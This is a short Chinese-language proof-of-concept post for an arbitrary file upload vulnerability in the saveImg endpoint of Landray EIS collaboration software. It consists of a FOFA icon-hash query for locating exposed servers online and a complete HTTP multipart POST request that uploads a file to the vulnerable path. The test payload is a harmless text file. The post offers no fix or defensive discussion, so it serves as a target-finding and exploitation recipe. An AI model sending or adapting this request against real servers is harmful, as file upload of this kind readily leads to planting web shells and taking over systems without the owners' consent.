## 蓝凌EIS智慧协同平台saveImg接口存在任意文件上传漏洞

## fofa
```
icon_hash="953405444"
```

## POC
```
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="hello.txt"
Content-Type: text/html

hellohello
------WebKitFormBoundaryxdgaqmqu--
```